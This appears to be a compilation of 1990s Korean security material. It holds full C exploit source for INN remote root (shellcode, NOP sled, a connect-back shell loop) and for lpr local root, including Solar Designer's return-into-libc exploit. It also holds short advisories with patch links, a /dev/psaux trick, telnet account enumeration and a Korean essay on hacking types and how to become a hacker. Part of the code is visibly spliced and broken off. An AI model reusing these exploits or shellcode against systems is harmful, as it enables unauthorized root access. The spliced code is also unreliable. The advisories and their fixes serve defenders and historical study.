
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

        if(argc < 1)
                    ofs = atoi(argv[1]);

            addr = get_esp() - ofs;

            if(!(buff = malloc(4096))) {
                    fprintf(stderr, "can't allocate memory\n");
                    exit(1);
            }
            ptr = buff;
            noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;
            memset(ptr, 0x90, noplen);
            ptr += noplen;
            for(i = 0; i < strlen(execshell); i++)
                    *ptr++ = execshell[i];
            addr_ptr = (unsigned long *)ptr;

            for(i = 0; i < ADDRS / 4; i++)
                    *addr_ptr++ = addr;
            ptr = (char *)addr_ptr;
            *ptr = '\0';

            printf(
                    "Path: dev.null!nntp\n"
                    "From: devNull @%s\n"
                    "Newsgroups: alt.test\n"
                    "Subject: 4 out of 5 Dweebs prefer INND for getting
r00t\n"
                    "Message-ID: <830201540.9220@dev.null.com>\n"
                    "Date: 9 Jun 1997 15:15:15 GMT\n"
                    "Lines: 1\n"
                    "\n"
                    "this line left not left intentionally blank\n"
                    ".\n", buff);

    }

    ------------------------------------------------------------------

    ---------------------------- nnrp.c ------------------------------
    /*
     * Remote  exploit  for  INN  version  <  1.6.  Requires  'innbuf'
     * program  to operate.   To compile:  cc nnrp.c  -o nnrp.  Usage:
     * nnrp  .  (C) 1997 by Method  of
     * Dweebs
     */
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define POST            "POST\n"

    #define SAY(a, b)       write(a, b, strlen(b))
    #define CHOMP(a, b)     read(a, b, sizeof(b))
    #define basename(a)     bname(a)

    char *me;

    make_addr(char *name, struct in_addr *addr)
    {
            struct hostent *hp;

            if(inet_aton(name, addr) == 0) {
                    if(!(hp = gethostbyname(name))) {
                            fprintf(stderr, "%s: ", me);
                            herror(name);
                            exit(1);
                    }
                    addr->s_addr = ((struct in_addr *)hp->h_addr)->s_addr;
            }
    }

    char *bname(char *str)
    {
            char *cp;

            if((cp = (char *)strrchr(str, '/')) != NULL)

                    return(++cp);
            else
                    return(str);
    }

    void my_err(char *errstr, int err)
    {
            fprintf(stderr, "%s: ", me);
            perror(errstr);
            exit(err);
    }

    void usage()
    {
            printf(
                    "INN version 1.[45].x exploit by Method
\n"
                    "Usage: %s  \n"
                    "Will start a shell on the remote host.\n"
                    "The second argument is the file containing the
overflow data.\n",
                    me);
            exit(1);
    }

    select_loop(int netfd)
    {
            int ret, n, in = STDIN_FILENO, out = STDOUT_FILENO;
            char buf[512];
            fd_set rfds;

            for( ; ; ) {
                    FD_ZERO(&rfds);
                    FD_SET(in, &rfds);

                    FD_SET(netfd, &rfds);

                    if((ret = select(netfd + 1, &rfds, NULL, NULL, NULL))
< 0)
                            my_err("select", 1);

                    if(!ret)
                            continue;

                    if(FD_ISSET(in, &rfds)) {
                            if((n = read(in, buf, sizeof(buf))) > 0)
                                    write(netfd, buf, n);
                    }

                    if(FD_ISSET(netfd, &rfds)) {
                            if((n = read(netfd, buf, sizeof(buf))) > 0)
                                    write(out, buf, n);

                          else
                                    break;
                    }
            }
    }

    int news_sock(char *host)
    {
            struct sockaddr_in sin;
            int sock;

            sin.sin_port = htons(119);
            sin.sin_family = AF_INET;
            make_addr(host, &(sin.sin_addr));

            if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
                    my_err("socket", 1);
            if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
                    my_err("connect", 1);

            return(sock);
    }

    void send_egg(int sk, char *file)
    {
            char buf[BUFSIZ];
            int dfd;
            int n;

            if((dfd = open(file, O_RDONLY)) < 0)
                    my_err("open", 1);

            printf("Executing innd exploit.. be patient.\n");


            n = CHOMP(sk, buf);

            buf[n] = '\0';
            printf(buf);
            SAY(sk, POST);
            n = CHOMP(sk, buf);
            buf[n] = '\0';
            printf(buf);
            sleep(2);
            printf("Sending overflow data.\n");
            while((n = CHOMP(dfd, buf)) > 0)
                    write(sk, buf, n);
            sleep(2);
    }

    void main(int argc, char **argv)
    {
            char *victim, *filename;
            int s;

            me = basename(argv[0]);

            if(argc != 3)

                    usage();

            filename = argv[2];

            send_egg(s = news_sock(victim = argv[1]), filename);

            select_loop(s);
            fprintf(stderr, "Connection closed.\n");
            printf("Remember: Security is futile. Dweebs WILL own
you.\n");
            exit(0);
   }
    ------------------------------------------------------------------

해결책

    아래의 사이트에 가서 패치 버젼을 받는다.

        http://www.purplefrog.com/~thoth/netpipes/

---------------------------

 제  목: [보안] 리눅스 libXt (2)
명령


        libXt

시스템

        RedHat 4.0, 4.1, 4.2

문제점

        버퍼 오버플로우를 일으켜서 루트를 얻을 수 있다.
        이것은 linXt자체가 문제가 있으므로 그 파급 효과는 엄청나다.

해결책


        $ cd /usr/X11/bin
        $ find . -type f -a \( -perm -2000 -o -perm -4000 \) -print

        위의 명령으로 setuid root인 파일을 찾아서 모두 setuid를 없애라.
        아래의 사이트에서 자신에게 맞는 것을 골라  업그레이드 시켜라.

    o Red Hat Linux/Alpha 4.1, 4.2

ftp://ftp.redhat.com/updates/4.2/alpha/XFree86-devel-3.2-10.alpha.rpm

ftp://ftp.redhat.com/updates/4.2/alpha/XFree86-libs-3.2-10.alpha.rpm

ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/XFree86-devel-3.$


ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/XFree86-libs-3.2$


    o Red Hat Linux/Intel 4.0, 4.1, 4.2

ftp://ftp.redhat.com/updates/4.2/i386/XFree86-devel-3.2-10.i386.rpm
        ftp://ftp.redhat.com/updates/4.2/i386/XFree86-libs-3.2-10.i386.rpm

ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/XFree86-devel-3.$


ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/XFree86-libs-3.2$

    o Red Hat Linux/SPARC 4.0, 4.1, 4.2

ftp://ftp.redhat.com/updates/4.2/sparc/X11R6.1-devel-pl1-21.sparc.rpm

ftp://ftp.redhat.com/updates/4.2/sparc/X11R6.1-libs-pl1-21.sparc.rpm

ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/X11R6.1-devel-pl$


ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/X11R6.1-libs-pl1$

---------------------------

 제  목: [보안] 리눅스 lpr (2)
명령

        lpr

시스템

        Linux 2.0.0, 2.0.30 (SW 3.0)

문제점

        lpr ffffffffff.......ffff (to 1023 characters)
        위와 같이 하여 버퍼 오버플로우를 일으키는 문제로 루트를 얻는다.

    /*
     * lpr_exploit.c - Buffer overflow exploit for the lpr program.
     * Adapted from code found in "stack smashing..." by Aleph One
     *                         aleph1@underground.org
     *
     * "wisdom is knowledge passed from one to another",  Thanks

     */

    #include

    #define DEFAULT_OFFSET          1023
    #define DEFAULT_BUFFER_SIZE     2289
    #define NOP                     0x90

    /*
     * The hex representation of the code to produce an interactive shell.
     * Oviously since this is for a Linux Box, you may need to generate

     */
    char shellcode [] =

    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
           "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_sp(void)
       { __asm__("mov %esp,%eax"); }

    void main(int argc, char *argv[]) {
       char *buff, *ptr;
       long *addr_ptr, addr;

       int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
       int i;

       /* set aside the memory for our shell code */
       if (!(buff = malloc(bsize))) {
          printf("Can't allocate memory.\n");
          exit(0);
       }

       /* Get the address of our stack pointer */
       addr = get_sp() - offset;

       /* fill our buffer with its address */
       ptr = buff;
       addr_ptr = (long *)ptr;
       for(i = 0; i-- lpr.c --<

    /*
     * /usr/bin/lpr   buffer   overflow    exploit   for  Linux   with
     * non-executable stack
     * Copyright (c) 1997 by Solar Designer
     */

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #define SIZE            1200    /* Amount of data to overflow with */
    #define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */

    #define ADDR_MASK       0xFF000000

    char buf[SIZE];
    int *ptr;

    int pid, pc, shell, step;
    int started = 0;
    jmp_buf env;

    void handler() {
      started++;
    }

    /* SIGSEGV handler, to search in libc */
    void fault() {
      if (step < 0) {
    /* Change the search direction */
        longjmp(env, 1);
      } else {
    /* The search failed in both directions */
        puts("\"/bin/sh\" not found, bad luck");
        exit(1);
      }
    }

    void error(char *fn) {
      perror(fn);
      if (pid > 0) kill(pid, SIGKILL);
      exit(1);
    }
    void main() {
      signal(SIGUSR1, handler);

    /* Create a child process to trace */
      if ((pid = fork()) < 0) error("fork");

      if (!pid) {
    /* Send the parent a signal, so it starts tracing */
        kill(getppid(), SIGUSR1);
    /* A loop since the parent may not start tracing immediately */
        while (1) system("");
      }

    /* Wait until the child tells us the next library call will be
system() */
      while (!started);

      if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

    /* Single step the child until it gets out of system() */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0))
error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

    /* Single step the child until it calls system() again */
      do {
        waitpid(pid, NULL, WUNTRACED);
        pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
        if (pc == -1) error("PTRACE_PEEKUSR");
        if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0))
error("PTRACE_SINGLESTEP");
      } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

    /* Kill the child, we don't need it any more */
      if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");

     pid = 0;


      printf("system() found at: %08x\n", pc);

    /* Let's hope there's an extra NOP if system() is 256 byte aligned */
      if (!(pc & 0xFF))
      if (*(unsigned char *)--pc != 0x90) pc = 0;

    /* There's no easy workaround for these (except for using another
function) */
      if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
        puts("Zero bytes in address, bad luck");
        exit(1);
      }

    /*
     * Search for a "/bin/sh" in libc until we find a copy with no zero

bytes
     * in its address. To avoid specifying the actual address that libc is
     * mmap()ed to we search from the address of system() in both
directions
     * until a SIGSEGV is generated.
     */
      if (setjmp(env)) step = 1; else step = -1;
      shell = pc;
      signal(SIGSEGV, fault);
      do
        while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
      while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
      signal(SIGSEGV, SIG_DFL);

      printf("\"/bin/sh\" found at: %08x\n", shell);

    /*
     * When returning into system() the stack should look like:
     *                              pointer to "/bin/sh"
     *                              return address placeholder
     * stack pointer ->             pointer to system()
     *
     * The buffer could be filled with this 12 byte pattern, but then we
would
     * need to try up to 12 values for the alignment. That's why a 16 byte
pattern
     * is used instead:
     *                              pointer to "/bin/sh"
     *                              pointer to "/bin/sh"
     * stack pointer (case 1) ->    pointer to system()
     * stack pointer (case 2) ->    pointer to system()
     *
     * Any of the two stack pointer values will do, and only up to 8
values for
     * the alignment need to be tried.
     */
      memset(buf, 'x', ALIGNMENT);
      ptr = (int *)(buf + ALIGNMENT);
      while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
        *ptr++ = pc; *ptr++ = pc;
        *ptr++ = shell; *ptr++ = shell;
      }
      buf[SIZE - 1] = 0;

      execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
      error("execl");
    }

    >-- lpr.c --<

해결책

    아래에서 패치 파일을 찾아서 패치하라.

        http://www.false.com/security/linux-stack/

---------------------------

 제  목: [보안] 리눅스 psaux 디바이스

명령

        /dev/psaux

시스템

        Linux with psaux device

문제점

         아래와 같은 문제가 있다.

        cat /bin/bash > /dev/psaux
        [CTRL-C]
        이것은 /dev/psaux 의 퍼미션이 666 모드로 되어서 아무나 쓸수 있게 되기
        때문이다.

        이 버그는 ps/2 키보드를 이용하는 사람에게 해당된다.


해결책

        이 디바이스의 퍼미션을 일반 유저가 읽기만 가능하도록 해라
        일반 유저가 쓰기를 할 수 없도록 해라
        chmod 664 /dev/psaux

---------------------------

 제  목: [보안] 리눅스 telnet (1)
명령

        telnet

시스템

        RedHat 4.0

문제점

        원하는 호스트에 어떤 계정이 있는지 없는지를 확인 할 수 있다.
        예를 들어.

        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.

        Red Hat Linux release 4.0 (Colgate)
        Kernel 2.0.24 on an i586

        login: bug
        Password:

        Login incorrect
        Connection closed by foreign host.
        없는 계정을 입력시에 한번에 끝난다.

        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.

        Red Hat Linux release 4.0 (Colgate)
        Kernel 2.0.24 on an i586
        login: root
        Password:
        Login incorrect

        login:
        login:
        login:
        login:
        계정이 있을 경우 계속 물어 본다.

---------------------------


해킹정보..
1. 해커와 해킹이란?
1-1 해커란?
1-1-1 해커의 역사와 평가
1-1-2. 'GNU 선언문'과 우리가 배워야 할 점
1-2. 해킹이란?
1-2-1. 사례로 본 해킹의 유형과 예방법
가. 트로이 목마(Trojan Horse)
나. 쓰레기 주워 모으기(Scavenging)
다. 논리폭탄(Logic Bomb)
라. 살라미 기법(Salami Techniques)
마. 자료의 부정변개(Data Diddling)
바. 슈퍼 재핑(Super Zapping)
사. 트랩도어 (Trap Door)
아. 비동기성 공격(Asynchronous Attacks)
1-2-2. 최근 해킹 동향과 침투대상
가. IP 스푸핑(IP Spoofing)
나. 패킷 스니퍼링(Packet Sniffering)
다. Sendmail 버그
1-2-3. 해커가되기위해 해야할것
1-2-4. 프로그래밍을 꼭 배워야하는가?
1. 해커와 해킹이란?
1-1 해커란?
1-1-1 해커의 역사와 평가
해커라는 단어는 60년대 미국 M.I.T 대학생들을 시작으로 전파되기
시작하였습니다. 그들은 컴퓨터를 광적으로 좋아하고 그들의 이상을 컴퓨터에
걸었습니다. 밤낮으로 컴퓨터에 매달려 새로운 프로그램을 만들고 토론하며
창조와 정의를 부르짖었습니다. 그러한 결과
스티브워즈니악,리차드스톨만,스티브잡스 와 같은 위대한 해커라 일컬어지는
인물이 탄생했으며 그들의 영향을 받아 현재와 같은 컴퓨터환경을 구축하게
된것입니다. 초기에 그들은 구식 대형 컴퓨터를 이용하고 전화를 공짜로
사용하는 방법을 전파시켰으며 스스로 그러한 장비를 만들어 팔기까지 했습니다.
과거의 순수한 열정을 지닌 해커들은 거의 '히피'족이나 다름없는 이상을 이야기
했습니다. 시간이 지나고 세상이 변하면서 초기 해커들의 숫자는 점차
줄어들었고 대다수 변질되어 본래 해커의 의미인 '정보의 공유화'가 아닌
'정보엿보기'가 되어갔습니다. 그 결과 '캐빈미트닉'같은 악명높은 해커도
등장하게 되었던 것이죠. 해커들의 업적은 다양합니다. 그들은 아무나 널리
복사해서 사용할 수 있다록 "Copyright"에 반대되는 개념인 "Copyleft" 를
사용했으며 그 누구라도 출처만 밝히고 공익적인 것에 이용된다면 자신의 자료를
사용해도 된다고 적어놓았습니다. 그결과 대표적으로 "linux"같은 공개 유닉스
운영체제가 탄생하여 오늘날까지 널리 사용되고 있습니다. 그덕에 비싼
유닉스운영체제를 공짜로 아무나 사용할 수 있게되었으며 그로인해 보다 더 좋은
각종 공개 프로그램들이 속속 생겨나고 있는것입니다.
해커들은 이것을 'GNU'라는 헌장으로 만들어 지키고 있습니다. 여러분이 진정한
해커가 되고자한다면 "GNU"헌장을 꼼꼼히 읽어보고 수긍할 수 있을때에
하십시오. 단지 남에게 과시하고 골탕 먹이기위해서 한다면 해커가 될 자격이
없는 사람일것입니다.
1-1-2. 'GNU 선언문'과 우리가 배워야 할 점
다음은 '리차드 스톨만'이라는 20세기의 위대한 해커의 'GNU선언문'입니다. 'GNU
선언문'은 해커의 권리장전이나 마찬가지인 선언문입니다. 모든 해커는 다음의
GNU헌장을 충실히 이행하여여 합니다. ----- CNU선언문은 용량상 삭제했습니다.
------ 이 'GNU 선언문'에서 우리가 배워야 할점이 있습니다. 초기 해커들이
지향하고자 했던 바로 이러한 순수함이죠. 권위와 억압에 얽매이지 않는 표현과
사상의 자유로움과 모두에게 도움이 되는 세상의 소금이 되고자 했던 선각자들의
발자취를 따라야 합니다. 아직도 이 'GNU 선언문'을 충실히 받들고있는 해커들이
많이 남아있기에 우리의 컴퓨터 문화는 더욱 발전되어갈것이라 확신합니다.
1-2. 해킹이란?
1-2-1. 사례로 본 해킹의 유형과 예방법
'해킹'은 직접적으로 컴퓨터에 침투하여 목적된 일을 수행하는 것을 의미합니다.
'해킹'에는 여러 가지 방법이 있겠으나 몇가지로 구분하면 다음과 같습니다.
여기에 나타난 방법들은 '크래커'들이 주로 사용했던 방법들입니다.
가. 트로이 목마(Trojan Horse) 트로이목마 는 고대 역사에 나오는 이야기로
유명합니다. 즉, 상대방이 눈치채지 못하게 몰래 숨어드는 것을 의미하죠.
정상적인 프로그램에 부정 루틴이나 명령어를 삽입해 정상적인 작업을 수행하나
부정 결과를 얻 어내고 즉시 부정 루틴을 삭제하기 때문에 발견이 어렵게
됩니다. 시스팀 프로그래머,프로그램 담당 관리자,오퍼레이터,외부 프로그램
용역자가 저지르며 시스팀 로그인 테이프와 운용 기록이 있는 프로그램 리스트를
확보한 후 정상적인 프로그램 실행 결과와 의심스런 프로그램 결과를 비교하는
일이 예방책입니다. 철저한 감독만이 최선의 길입니다. 예전에 개봉된 영화
"네트(THE NET)"에서도 이 방법이 나옵니다. 겉으로 보기엔 아주 지극히
정상적인 프로그램인데 실은 사용자의 정보를 빼내가는 트로이 목마 가 원래
정체였었죠.
나. 쓰레기 주워 모으기(Scavenging) 아주 지저분한 수법이죠 컴퓨터실에서
작업하면서 쓰레기통에 버린 프로그램 리스트, 데이터 리스트, 카피 자료를 얻는
방 법입니다. 많은 사람들이 자신이 버리는 쓰레기가 다른 사람들의 손에 들어갈
경우 자신을 위협할 수 있는 무기가 된다는 사실을 인식하지 못하기 때문에
이러한 일이 벌어지죠. 중요한 것은 꼭 알아볼수 없도록 폐기해야 합니다.
예전에 미 FBI에서 소련의 스파이를 잡을 때 썼던 방법입니다. 스파이 혐의를
받고있는 용의자의 쓰레기통을 뒤져 증거가 될만한 문건들을 찾아 내었죠.
다. 논리폭탄(Logic Bomb) '논리폭탄' 이라는 방법으로 자료나 소프트웨어
파괴에 이용하죠. 즉, 프로그램에 어떤 조건을 넣어주고 그 조건이 만족되면
자동으로 불법 결과가 나타나게 하는 것으로 '트로이목마'와 유사한 면을 가지고
있습니다. 예를들어 예전에 중국에 나타난 바이러스중에서 '이붕 바이러스'란게
있었습니다. 프로그램 실행중에 바이러스가 질문을 합니다. "당신은 이붕의
퇴진을 원합니까?" 만약 "no"를 입력한다면 컴퓨터의 자료는 모조리
파괴되어버리고 말았죠. 대만이나 중국의 반체제 인사가 만들었다는 얘기가
있었습니다. 자료변조가 예상되는 경로로의 자료 입수를 철저를 조사해야만
합니다.
라. 살라미 기법(Salami Techniques) 예전에 우리나라를 시끄럽게 했던 청와대
아이디 도용사건과 유사한 경우입니다. 그당시에 휴면계좌의 작은단위의 금액을
한 구좌로 몰아넣게해서 빼내렸던 시도가 있었죠. 이자 계산이나 다른 거래 계산
풀그림 속에 단위수 이하의 숫자를 특정 계좌에 계속 가산되도록 풀그림 루틴을
부정 삽입하는 행위입니다. 뚜렷한 피해자가 없어 특별히 검사해 보는 제도를
두지 않으면 알 수 없고 일단 제작되면 별도 수정 없이는 범행상태가 계속되죠.
은행직원이나 외부인등 전산망에 접근할 수 있는 자라면 누구나 저지를수 있으며
계좌중에 아주 작은 금액이 계속적으로 입금된 사실이 있는지 검사하는 풀그림을
작성해 수행시 켜 보는 방법 등을 사용해 예방합니다.
마. 자료의 부정변개(Data Diddling) 원시 서류 자체를 변조, 위조해 끼워
넣거나 바꿔치기 하는 수법으로 자기 테이프나 디스크 속에 엑스트라 바이트를
만들어 두었다가 데이터를 추가하는 수법입니다. 자료를 코드로 바꾸면서 다른
것으로 바꿔치기하는 수법인데 원시자료 준비자, 자료 운반자 ,자료 용역처리자
그리고 데이타와 접근이 가능한 내부인이 주로 저지릅니다. 예방법은 원시서류와
입력 데이터를 대조해 보고 셈틀 처리 결과가 예상 결과와 같은지 검토 하며
시스팀 로그인파일과 수작업으로 작성된 관련 일지를 서로 비교 검토하는 작업을
정기적으 로 실시하여야 합니다. 아주 직접적이며 초보적인 형태의 해킹이라고
할 수 있습니다. 예를들어 은행원이 자신이 직접 단말기를 조작해 원하는 계좌로
돈을 빼내는 경우가 이에 해당 됩니다.
바. 슈퍼 재핑(Super Zapping) 컴퓨터가 고장으로 가동이 불가능할 때
비상용으로 쓰이는 프로그램이 수퍼 잽입니다. 수퍼 잽 수행시에 호텔의
만능키처럼 패스워드나 각종 보안장치 기능을 상실 시켜 컴퓨터의 기억장치에
수록된 모든 파일에 접근해 자료를 복사해 가죠. 외부에서 출입해 수리를 할
경우 입회하여 지키고 테이프나 디스크팩,디스켓 반출시에 내용을 확인하고 고장
내용이 수록된 파일을 복사해 가지고 나갈 경우 내용을 복사해 증거물을 남기는
법이 최선책입니다. 이 방법은 거의 직접적인 수법이기에 계속 지키고 확인하는
수밖에 없습니다.
사. 트랩도어 (Trap Door) OS나 대형 응용 프로그램을 개발하면서 전체
시험실행을 할 때 발견되는 오류를 쉽게 하거나 처 음부터 중간에 내용을 볼 수
있는 부정루틴을 삽입해 컴퓨터의 정비나 유지보수를 핑계삼아 컴퓨터 내부의
자료를 뽑아 가는 행위를 일컫습니다. 즉, 프로그래머가 프로그램 내부에 일종의
비밀통로를 만들어 두는것입니다 자신만이 드나들 수 있게하여 자료를 빼내는
방법이죠. 실제로 풀그림을 수행시키면서 중간에 이상한 것이 출력되지 않는지와
어떤 메시지가 나타나지 않았나 살펴보고 이상한 자료의 누출이나 어카운트에는
계산된 것이 없는데 기계시간이 사용된 경우 추적하여 찾아내야 합니다.
아. 비동기성 공격(Asynchronous Attacks) 컴퓨터 중앙 처리 장치 속도와
입.출력 장치 속도가 다른 점을 이용해 Multi-programming을 할 때
Check-point를 써서 자료를 입수하는 방법이죠. 어떤 자료와 프로그램이
누출된것 같은 의심이 생기거나 컴퓨터 성능과 출력 자료가 정상이 아닐 때
시스팀 로그인 테이프를 분석해 작업 지시서와 대조해 지시없이 작업을 수행한
기록이 있는지 조사해 봐야합니다. 이 방법은 최근에도 이용되고 있는
방법입니다. 사용하기 쉽고 효과는 상당히 큰 해킹방법중의 하나죠. 미리
작성해둔 침투 프로그램으로 시스템 운영자를 속인채 목적하는 해킹을
하는것입니다.
1-2-2. 최근 해킹 동향과 침투대상
해킹에는 위에서 말한것처럼 여러 가지 유형이 있습니다. 최근 CERT(Computer
Emergency Response Team) - 컴퓨터 보안에 관련된 그룹 -에 따르면 가장 많이
발생하는 침투방법으로 IP Spoofing, Packet Sniffering, NFS Attacks, Sendmail
Attack, Nerwork Scanning 등이 있다는 보고입니다. 최신 해킹동향을 보면
다음과 같습니다.
가. IP 스푸핑(IP Spoofing)
인터넷 프로토콜인 TCP/IP의 구조적 결함, 즉 TCP 시퀀스번호, 소스라우팅, 소스
주소를 이용한 인증(Authentication) 메커니즘 등을 이용한 방법으로써
인증(Authentication) 기능을 가지고 있는 시스팀을 침입하기 위해 침입자가
사용하는 시스팀을 원래의 호스트로 위장하는 방법입니다. 즉, 이 방법은 자신이
침투하고자 하는 컴퓨터를 무력화하기위해 자신이 그 컴퓨터인것처럼 가장하는
것입니다. 아무리 방어가 잘 되어있는 컴퓨터라도 자기자신을 경계하지는 않기
때문이죠. 이러한 방법으로 NASA나 미 국방부까지 뚫을수있는 최고의
방법입니다. 전에 붙잡힌 미국의 악질 해커 '미트닉'도 이 방법의 대가입니다.
나. 패킷 스니퍼링(Packet Sniffering)
최근 널리 쓰이고 있는 대표적인 방법으로 tcpdump, snoop, sniffer 등과 같은
네트워크 모니터링 툴을 이용해 네트워크 내에 돌아다니는 패킷의 내용을 분석해
정보를 알아내는 것입니다. 이 방법은 네트워크에 연동돼 있는 호스트뿐만
아니라 외부에서 내부 네트워크로 접속하는 모든 호스트가 위험 대상이되죠.
이를위해 해커는 먼저 자신의 시스팀이나 보안 취약점을 가지고 있는 시스템에
침입하여 루트 (ROOT) -주인- 권한을 획득합니다. 그후 이 시스템에 다시
로그인하기 위해 백도어(뒷구멍)를 설치한 후 그 시스템이 속해 있는 네트워크
상의 모든 ftp, 텔넷 그리고 rlogin 세션의 처음 128개의 문자를 가로챌 수 있는
네트워 크 모니터링 툴을 설치해 실행하는 것입니다. 이 패킷 스니퍼링은 일종의
엿보기로서 효과는 확실하나 실력자가 행할 방법은 아닙니다.
다. Sendmail 버그
Sendmail은 네트워크 간에 메일을 전송해 주기 위해 만들어진 메일전송
프로그램입니다. 이 프로그램은 TCP/IP, UUCP, BIT NET 등 다른 네트워크 간의
전송도 가능하게 하므로 거의 모든 유닉스 기종에서 사용되고 있죠. 따라서
Security Hole(보안상의 헛점)이 발견되면 그 여파가 어떤것보다 큽니다. 대부분
자사 유닉스에 버전 5의 이 프로그램을 함께 배포하는데, 많은 버그를 가지고
있는 것으 로 알려지고 있죠. 88년에 인터넷에 연결돼 있던 7천 5백대의
컴퓨터가 정지되어 사상최대의 해킹사건으로 기록된 '인터넷 웜(InternetWorm)'
사건 때에는 'debug'라는 버그로 인해서였습니다. 당시 이 '인터넷 웜'사건으로
엄청난 혼란과 충격이 있었고 이로인해 'CERT'가 결성되게 되었습 니다.
아직까지도 많은 문제점을 지니고 있다고 할 수 있습니다. 이외에 몇가지
수법들이 더 있는데 자세한 얘기는 뒤에서 다루겠습니다. 그럼 해커들이
침투하기 좋아하고 침투를 즐겨하는 곳에는 어떤곳이 있을까요? 침투하기 가장
쉬운곳은 운영체제의 설치를 방금 끝낸 호스트입니다. 인터넷에서 중요한
게이트웨이나 서비스 호스트들은 성격상 OS를 업그레이드 하거나 새로운 OS를
설치하는 경우에 사용자들이 이용하지 못하므로 대부분 언제 새로운 OS를
설치한다는 것을 네트워크를 통해서 공지하게 되죠. 하지만 OS 설치를 막 끝낸
호스트는 루트의 패스워드가 없거나 보안 검사(Security Check) 기능이 거의
작동되지 않는 상황이므로 누구나 쉽게 침투할 수 있습니다. '새술은 새 부대에'
라는 말이 있으나 '새로운 호스트는 새로운 주인에게'로 바뀌어야 하겠군요.
이러한 침투대상에는 상업 통신망을 빼놓을수 없습니다. 하이텔, 천리안, 나우콤
등과 같은 상업 통신망은 인터넷과 연결되기 이전부터 자체적으로 내부의
네트워크를 사용하고 있었죠. 그러나 실제 서비스 이용자들은 유닉스 위에서
작동되고 있는 메인 프로그램에서 빠져 나오는 경우가 거의 없었으므로 서비스를
하고 있는 유닉스 호스트와 네트워크는 허술하게 세팅돼 있었던게 사실입니다.
즉, 자체의 메인 프로그램이나 방화벽만을 믿고 허술하게 관리하다 큰 코 다치는
경우입니다. 예전에도 몇가지 버그로 인해 유닉스 상태에서 해킹을 당했던
사건이 있었습니다. 또한 아이네트나 코넷 같은 인터넷 서비스 공급업체나 이
업체에 연동해서 인터넷 서비스를 받는 기관 역시 많은 문제점을 안고 있습니다.
망서비스를 하는 회사는 각 서비스마다 전담하는 인원을 두게 마련인데, 이런
경우 한 호스트에서 시스팀을 총체적으로 관리할 수 없어서 여러 가지 잠재적인
문제점을 안게 되는것이죠.
1-2-3. 해커가되기위해 해야할것
'해커'가 되기 위해서는 무엇을 해야할까요?
물론 여기서 말하는 '해커'란 좋은뜻의 해커입니다. 남의 시스템에 몰래
침투하기나 하는 그릇된 자들은 '해커'가 아닙니다 '해커'나와라 뚝딱! 한다고
해커가 되지는 않습니다. 무엇이든 마찬가지 겠지만 해커가 되기위해서는 항상
최선을 다해 노력하는 자세가 필요합니다. 초보자라도 해커가 되기위한 가장
빠른 방법을 소개하면, 첫째, 관련 서적을 본다. 우리나라에도 몇종의 해커관련
서적이 나와있지만 모두 함량미달의 내용들입니다. 본 서적의 경우도 가급적
최선의 선택이 되도록 쉽고 자세하게 적어갈려고 노력을 하고 있으나 악용될
영향도 있기에 주저되는 부분도 많습니다. 그래도 본 서적같이 쉽고 자세하며,
실제적인 기술적 정보가 많이 들어있는 책을 권합니다. 원서를 보는 방법도
좋으나 원서에서 나타나는 해킹방법이래야 실제적인 내용은 ㉰버린 속빈강정이
대부분이라는 것을 아시길 바랍니다. 국내 서적이 원서보다 훨씬 질이 좋고
자세한 경우가 많습니다. 이 책 한권으로도 해커에 대한 모든 것을 알수있게끔
구성했으니 자세히 보시기 바랍니다. 둘째, PC 통신을 활용한다. 책을 보며
공부한 후에는 PC통신을 이용해 많은 자료와 정보를 찾아 나서야 합니다. 국내
대형통신망에도 미미하지만 해커관련 동호회도 있으니 참여해보는것도 좋은
방법이라고 봅니다. 책보다는 좀더 빠른 최신 정보를 얻을 수 있을것이며 특히
자신보다 실력있고 경험많은 선배들로부터의 조언도 들을수 있어서 실력을
일취월장 할 수 있을겁니다. 셋째, 인터넷으로 나가본다. 인터넷을 정보의 바다
라고 하죠. 인터넷에는 수많은 컴퓨터들이 연결되어있고 해커와 관련된 정보만
다루는 곳을 찾으려고해도 1주일은 꼬박 밤새울 정도로 많이 있습니다. 우선
국내 PC통신망이나 서적등에서 인터넷에 존재하는 해커관련 사이트를 알아내어
